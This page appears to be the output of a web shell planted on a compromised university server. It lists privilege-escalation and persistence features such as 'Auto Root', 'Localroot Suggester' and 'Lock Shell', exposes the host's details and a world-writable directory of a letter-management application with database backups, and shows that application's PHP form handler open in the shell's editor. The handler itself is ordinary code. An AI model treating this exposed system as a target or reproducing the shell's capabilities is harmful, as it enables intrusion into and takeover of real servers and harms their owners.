Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
Microsoft-IIS/10.0
Server IP : & Your IP : 18.222.82.248
Domains :
Cant Read [ /etc/named.conf ]
User : elibrary.unsap.ac.id
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
D: /
localhost /
surat-fti /
Delete
Unzip
Name
Size
Permission
Date
Action
.git
[ DIR ]
drwxrwxrwx
2025-04-27 13:16
.well-known
[ DIR ]
drwxrwxrwx
2024-09-05 02:01
asset
[ DIR ]
drwxrwxrwx
2025-04-27 15:34
include
[ DIR ]
drwxrwxrwx
2025-04-20 13:23
resource
[ DIR ]
drwxrwxrwx
2025-04-21 15:02
save
[ DIR ]
drwxrwxrwx
2025-04-21 13:47
upload
[ DIR ]
drwxrwxrwx
2025-02-11 02:56
Backup_13_Jan_2025_1736756652.sql
0
B
-rw-rw-rw-
2025-04-20 13:22
README.md
1.52
KB
-rw-rw-rw-
2024-09-07 01:58
admin.php
6.35
KB
-rw-rw-rw-
2024-09-04 22:54
agenda_surat_keluar.php
17
KB
-rw-rw-rw-
2024-09-04 22:54
agenda_surat_masuk.php
17.09
KB
-rw-rw-rw-
2024-09-04 22:54
backup.php
9.09
KB
-rw-rw-rw-
2024-09-04 22:54
cetak_disposisi.php
12.88
KB
-rw-rw-rw-
2024-09-04 22:54
disposisi.php
11.53
KB
-rw-rw-rw-
2024-09-04 22:54
edit_disposisi.php
12.92
KB
-rw-rw-rw-
2024-09-04 22:54
edit_klasifikasi.php
9.94
KB
-rw-rw-rw-
2024-09-04 22:54
edit_surat_keluar.php
22.76
KB
-rw-rw-rw-
2024-09-04 22:54
edit_surat_masuk.php
23.54
KB
-rw-rw-rw-
2024-09-04 22:54
edit_tipe_user.php
8.92
KB
-rw-rw-rw-
2024-09-04 22:54
enable-javascript.html
3.4
KB
-rw-rw-rw-
2024-09-04 22:54
file_sk.php
10.32
KB
-rw-rw-rw-
2024-09-04 22:54
file_sm.php
10.61
KB
-rw-rw-rw-
2024-09-04 22:54
fti-aset.sql
37.22
KB
-rw-rw-rw-
2024-09-05 02:19
galeri_sk.php
17.88
KB
-rw-rw-rw-
2024-09-04 22:54
galeri_sm.php
17.91
KB
-rw-rw-rw-
2024-09-04 22:54
google3afbb06bed30a512.html
53
B
-rw-rw-rw-
2025-04-27 15:35
hapus_disposisi.php
4.86
KB
-rw-rw-rw-
2024-09-04 22:54
hapus_klasifikasi.php
4.15
KB
-rw-rw-rw-
2024-09-04 22:54
hapus_surat_keluar.php
6.94
KB
-rw-rw-rw-
2024-09-04 22:54
hapus_surat_masuk.php
7.02
KB
-rw-rw-rw-
2024-09-04 22:54
hapus_user.php
5.49
KB
-rw-rw-rw-
2024-09-04 22:54
index.php
11.43
KB
-rw-rw-rw-
2024-09-04 22:54
kode.php
847
B
-rw-rw-rw-
2025-02-01 14:35
logout.php
92
B
-rw-rw-rw-
2024-09-04 22:54
pengaturan.php
25.78
KB
-rw-rw-rw-
2024-09-04 22:54
profil.php
15.59
KB
-rw-rw-rw-
2024-09-04 22:54
referensi.php
22.04
KB
-rw-rw-rw-
2024-09-04 22:54
restore.php
10.75
KB
-rw-rw-rw-
2024-09-04 22:54
robots.txt
323
B
-rw-rw-rw-
2025-04-27 15:41
surat-fti.sql
11.87
KB
-rw-rw-rw-
2024-09-05 02:17
tambah_disposisi.php
11.71
KB
-rw-rw-rw-
2024-09-04 22:54
tambah_klasifikasi.php
9.83
KB
-rw-rw-rw-
2024-09-04 22:54
tambah_surat_keluar.php
19.99
KB
-rw-rw-rw-
2024-09-04 22:54
tambah_surat_masuk.php
21.77
KB
-rw-rw-rw-
2024-09-04 22:54
tambah_user.php
12.69
KB
-rw-rw-rw-
2024-09-04 22:54
transaksi_surat_keluar.php
25.79
KB
-rw-rw-rw-
2024-09-04 22:54
transaksi_surat_masuk.php
27.32
KB
-rw-rw-rw-
2024-09-04 22:54
upload_referensi.php
11.5
KB
-rw-rw-rw-
2024-09-04 22:54
user.php
10.28
KB
-rw-rw-rw-
2024-09-04 22:54
web.config
655
B
-rw-rw-rw-
2024-09-07 01:34
Save
Rename
<?php //cek session if(empty($_SESSION['admin'])){ $_SESSION['err'] = '<center>Anda harus login terlebih dahulu!</center>'; header("Location: ./"); die(); } else { if(isset($_REQUEST['submit'])){ //validasi form kosong if($_REQUEST['no_agenda'] == "" || $_REQUEST['no_surat'] == "" || $_REQUEST['asal_surat'] == "" || $_REQUEST['isi'] == "" || $_REQUEST['kode'] == "" || $_REQUEST['indeks'] == "" || $_REQUEST['tgl_surat'] == "" || $_REQUEST['keterangan'] == ""){ $_SESSION['errEmpty'] = 'ERROR! Semua form wajib diisi'; echo '<script language="javascript">window.history.back();</script>'; } else { $no_agenda = $_REQUEST['no_agenda']; $no_surat = $_REQUEST['no_surat']; $asal_surat = $_REQUEST['asal_surat']; $isi = $_REQUEST['isi']; $kode = substr($_REQUEST['kode'],0,30); $nkode = trim($kode); $indeks = $_REQUEST['indeks']; $tgl_surat = $_REQUEST['tgl_surat']; $keterangan = $_REQUEST['keterangan']; $id_user = $_SESSION['id_user']; //validasi input data if(!preg_match("/^[0-9]*$/", $no_agenda)){ $_SESSION['no_agenda'] = 'Form Nomor Agenda harus diisi angka!'; echo '<script language="javascript">window.history.back();</script>'; } else { if(!preg_match("/^[a-zA-Z0-9.\/ -]*$/", $no_surat)){ $_SESSION['no_surat'] = 'Form No Surat hanya boleh mengandung karakter huruf, angka, spasi, titik(.), minus(-) dan garis miring(/)'; echo '<script language="javascript">window.history.back();</script>'; } else { if(!preg_match("/^[a-zA-Z0-9.,() \/ -]*$/", $asal_surat)){ $_SESSION['asal_surat'] = 'Form Asal Surat hanya boleh mengandung karakter huruf, angka, spasi, titik(.), koma(,), minus(-),kurung() dan garis miring(/)'; echo '<script language="javascript">window.history.back();</script>'; } else { if(!preg_match("/^[a-zA-Z0-9.,_()%&@\/\r\n -]*$/", $isi)){ $_SESSION['isi'] = 'Form Isi Ringkas hanya boleh mengandung karakter huruf, angka, spasi, titik(.), koma(,), minus(-), garis miring(/), kurung(), underscore(_), dan(&) persen(%) dan at(@)'; echo '<script language="javascript">window.history.back();</script>'; } else { if(!preg_match("/^[a-zA-Z0-9., ]*$/", $nkode)){ $_SESSION['kode'] = 'Form Kode Klasifikasi hanya boleh mengandung karakter huruf, angka, spasi, titik(.) dan koma(,)'; echo '<script language="javascript">window.history.back();</script>'; } else { if(!preg_match("/^[a-zA-Z0-9., -]*$/", $indeks)){ $_SESSION['indeks'] = 'Form Indeks hanya boleh mengandung karakter huruf, angka, spasi, titik(.) dan koma(,) dan minus (-)'; echo '<script language="javascript">window.history.back();</script>'; } else { if(!preg_match("/^[0-9.-]*$/", $tgl_surat)){ $_SESSION['tgl_surat'] = 'Form Tanggal Surat hanya boleh mengandung angka dan minus(-)'; echo '<script language="javascript">window.history.back();</script>'; } else { if(!preg_match("/^[a-zA-Z0-9.,()\/ -]*$/", $keterangan)){ $_SESSION['keterangan'] = 'Form Keterangan hanya boleh mengandung karakter huruf, angka, spasi, titik(.), koma(,), minus(-), garis miring(/), dan kurung()'; echo '<script language="javascript">window.history.back();</script>'; } else { $cek = mysqli_query($config, "SELECT * FROM tbl_surat_masuk WHERE no_surat='$no_surat'"); $result = mysqli_num_rows($cek); if($result > 0){ $_SESSION['errDup'] = 'Nomor Surat sudah terpakai, gunakan yang lain!'; echo '<script language="javascript">window.history.back();</script>'; } else { $ekstensi = array('jpg','png','jpeg','doc','docx','pdf'); $file = $_FILES['file']['name']; $x = explode('.', $file); $eks = strtolower(end($x)); $ukuran = $_FILES['file']['size']; $target_dir = "upload/surat_masuk/"; //jika form file tidak kosong akan mengeksekusi script dibawah ini if($file != ""){ $rand = rand(1,10000); $nfile = $rand."-".$file; //validasi file if(in_array($eks, $ekstensi) == true){ if($ukuran < 2500000){ move_uploaded_file($_FILES['file']['tmp_name'], $target_dir.$nfile); $query = mysqli_query($config, "INSERT INTO tbl_surat_masuk(no_agenda,no_surat,asal_surat,isi,kode,indeks,tgl_surat, tgl_diterima,file,keterangan,id_user) VALUES('$no_agenda','$no_surat','$asal_surat','$isi','$nkode','$indeks','$tgl_surat',NOW(),'$nfile','$keterangan','$id_user')"); if($query == true){ $_SESSION['succAdd'] = 'SUKSES! Data berhasil ditambahkan'; header("Location: ./admin.php?page=tsm"); die(); } else { $_SESSION['errQ'] = 'ERROR! Ada masalah dengan query'; echo '<script language="javascript">window.history.back();</script>'; } } else { $_SESSION['errSize'] = 'Ukuran file yang diupload terlalu besar!'; echo '<script language="javascript">window.history.back();</script>'; } } else { $_SESSION['errFormat'] = 'Format file yang diperbolehkan hanya *.JPG, *.PNG, *.DOC, *.DOCX atau *.PDF!'; echo '<script language="javascript">window.history.back();</script>'; } } else { //jika form file kosong akan mengeksekusi script dibawah ini $query = mysqli_query($config, "INSERT INTO tbl_surat_masuk(no_agenda,no_surat,asal_surat,isi,kode,indeks,tgl_surat, tgl_diterima,file,keterangan,id_user) VALUES('$no_agenda','$no_surat','$asal_surat','$isi','$nkode','$indeks','$tgl_surat',NOW(),'','$keterangan','$id_user')"); if($query == true){ $_SESSION['succAdd'] = 'SUKSES! Data berhasil ditambahkan'; header("Location: ./admin.php?page=tsm"); die(); } else { $_SESSION['errQ'] = 'ERROR! Ada masalah dengan query'; echo '<script language="javascript">window.history.back();</script>'; } } } } } } } } } } } } } else {?> <!-- Row Start --> <div class="row"> <!-- Secondary Nav START --> <div class="col s12"> <nav class="secondary-nav"> <div class="nav-wrapper blue-grey darken-1"> <ul class="left"> <li class="waves-effect waves-light"><a href="?page=tsm&act=add" class="judul"><i class="material-icons">mail</i> Tambah Data Surat Masuk</a></li> </ul> </div> </nav> </div> <!-- Secondary Nav END --> </div> <!-- Row END --> <?php if(isset($_SESSION['errQ'])){ $errQ = $_SESSION['errQ']; echo '<div id="alert-message" class="row"> <div class="col m12"> <div class="card red lighten-5"> <div class="card-content notif"> <span class="card-title red-text"><i class="material-icons md-36">clear</i> '.$errQ.'</span> </div> </div> </div> </div>'; unset($_SESSION['errQ']); } if(isset($_SESSION['errEmpty'])){ $errEmpty = $_SESSION['errEmpty']; echo '<div id="alert-message" class="row"> <div class="col m12"> <div class="card red lighten-5"> <div class="card-content notif"> <span class="card-title red-text"><i class="material-icons md-36">clear</i> '.$errEmpty.'</span> </div> </div> </div> </div>'; unset($_SESSION['errEmpty']); } ?> <!-- Row form Start --> <div class="row jarak-form"> <!-- Form START --> <form class="col s12" method="POST" action="?page=tsm&act=add" enctype="multipart/form-data"> <!-- Row in form START --> <div class="row"> <div class="input-field col s6 tooltipped" data-position="top" data-tooltip="Isi dengan angka"> <i class="material-icons prefix md-prefix">looks_one</i> <input id="no_agenda" type="number" class="validate" name="no_agenda" required> <?php if(isset($_SESSION['no_agenda'])){ $no_agenda = $_SESSION['no_agenda']; echo '<div id="alert-message" class="callout bottom z-depth-1 red lighten-4 red-text">'.$no_agenda.'</div>'; unset($_SESSION['no_agenda']); } ?> <label for="no_agenda">Nomor Agenda</label> </div> <div class="input-field col s6 tooltipped" data-position="top" data-tooltip="Diambil dari data referensi kode klasifikasi"> <i class="material-icons prefix md-prefix">bookmark</i> <input id="kode" type="text" class="validate" name="kode" required> <?php if(isset($_SESSION['kode'])){ $kode = $_SESSION['kode']; echo '<div id="alert-message" class="callout bottom z-depth-1 red lighten-4 red-text">'.$kode.'</div>'; unset($_SESSION['kode']); } ?> <label for="kode">Kode Klasifikasi</label> </div> <div class="input-field col s6"> <i class="material-icons prefix md-prefix">place</i> <input id="asal_surat" type="text" class="validate" name="asal_surat" required> <?php if(isset($_SESSION['asal_surat'])){ $asal_surat = $_SESSION['asal_surat']; echo '<div id="alert-message" class="callout bottom z-depth-1 red lighten-4 red-text">'.$asal_surat.'</div>'; unset($_SESSION['asal_surat']); } ?> <label for="asal_surat">Asal Surat</label> </div> <div class="input-field col s6 tooltipped" data-position="top" data-tooltip="Isi dengan huruf atau angka"> <i class="material-icons prefix md-prefix">storage</i> <input id="indeks" type="text" class="validate" name="indeks" required> <?php if(isset($_SESSION['indeks'])){ $indeks = $_SESSION['indeks']; echo '<div id="alert-message" class="callout bottom z-depth-1 red lighten-4 red-text">'.$indeks.'</div>'; unset($_SESSION['indeks']); } ?> <label for="indeks">Indeks Berkas</label> </div> <div class="input-field col s6"> <i class="material-icons prefix md-prefix">looks_two</i> <input id="no_surat" type="text" class="validate" name="no_surat" required> <?php if(isset($_SESSION['no_surat'])){ $no_surat = $_SESSION['no_surat']; echo '<div id="alert-message" class="callout bottom z-depth-1 red lighten-4 red-text">'.$no_surat.'</div>'; unset($_SESSION['no_surat']); } if(isset($_SESSION['errDup'])){ $errDup = $_SESSION['errDup']; echo '<div id="alert-message" class="callout bottom z-depth-1 red lighten-4 red-text">'.$errDup.'</div>'; unset($_SESSION['errDup']); } ?> <label for="no_surat">Nomor Surat</label> </div> <div class="input-field col s6"> <i class="material-icons prefix md-prefix">date_range</i> <input id="tgl_surat" type="text" name="tgl_surat" class="datepicker" required> <?php if(isset($_SESSION['tgl_surat'])){ $tgl_surat = $_SESSION['tgl_surat']; echo '<div id="alert-message" class="callout bottom z-depth-1 red lighten-4 red-text">'.$tgl_surat.'</div>'; unset($_SESSION['tgl_surat']); } ?> <label for="tgl_surat">Tanggal Surat</label> </div> <div class="input-field col s6"> <i class="material-icons prefix md-prefix">description</i> <textarea id="isi" class="materialize-textarea validate" name="isi" required></textarea> <?php if(isset($_SESSION['isi'])){ $isi = $_SESSION['isi']; echo '<div id="alert-message" class="callout bottom z-depth-1 red lighten-4 red-text">'.$isi.'</div>'; unset($_SESSION['isi']); } ?> <label for="isi">Isi Ringkas</label> </div> <div class="input-field col s6"> <i class="material-icons prefix md-prefix">featured_play_list</i> <input id="keterangan" type="text" class="validate" name="keterangan" required> <?php if(isset($_SESSION['keterangan'])){ $keterangan = $_SESSION['keterangan']; echo '<div id="alert-message" class="callout bottom z-depth-1 red lighten-4 red-text">'.$keterangan.'</div>'; unset($_SESSION['keterangan']); } ?> <label for="keterangan">Keterangan</label> </div> <div class="input-field col s6"> <div class="file-field input-field tooltipped" data-position="top" data-tooltip="Jika tidak ada file/scan gambar surat, biarkan kosong"> <div class="btn light-green darken-1"> <span>File</span> <input type="file" id="file" name="file"> </div> <div class="file-path-wrapper"> <input class="file-path validate" type="text" placeholder="Upload file/scan gambar surat masuk"> <?php if(isset($_SESSION['errSize'])){ $errSize = $_SESSION['errSize']; echo '<div id="alert-message" class="callout bottom z-depth-1 red lighten-4 red-text">'.$errSize.'</div>'; unset($_SESSION['errSize']); } if(isset($_SESSION['errFormat'])){ $errFormat = $_SESSION['errFormat']; echo '<div id="alert-message" class="callout bottom z-depth-1 red lighten-4 red-text">'.$errFormat.'</div>'; unset($_SESSION['errFormat']); } ?> <small class="red-text">*Format file yang diperbolehkan *.JPG, *.PNG, *.DOC, *.DOCX, *.PDF dan ukuran maksimal file 2 MB!</small> </div> </div> </div> </div> <!-- Row in form END --> <div class="row"> <div class="col 6"> <button type="submit" name="submit" class="btn-large blue waves-effect waves-light">SIMPAN <i class="material-icons">done</i></button> </div> <div class="col 6"> <a href="?page=tsm" class="btn-large deep-orange waves-effect waves-light">BATAL <i class="material-icons">clear</i></a> </div> </div> </form> <!-- Form END --> </div> <!-- Row form END --> <?php } } ?>